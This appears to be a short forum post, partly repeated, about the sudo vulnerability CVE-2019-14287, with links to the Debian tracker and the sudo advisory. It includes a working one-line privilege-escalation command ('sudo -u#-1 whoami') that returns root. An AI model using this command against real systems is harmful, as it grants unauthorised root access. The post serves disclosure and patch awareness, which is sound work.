This is pretty afwul. Works perfectly on my Debian machine (where sudo for this user requires the password): $ sudo -u#-1 whoami root Ubuntu has fixes

This is pretty afwul. Works perfectly on my Debian machine (where sudo for this user requires the password): $ sudo -u#-1 whoami root Ubuntu has fixes, Debian still seems vulnerable: https://security-tracker.debian.org/tracker/CVE-2019-14287 https://security-tracker.debian.org/tracker/CVE-2019-14287 Here are the technical details: https://www.sudo.ws/alerts/minus_1_uid.html https://www.sudo.ws/alerts/minus_1_uid.html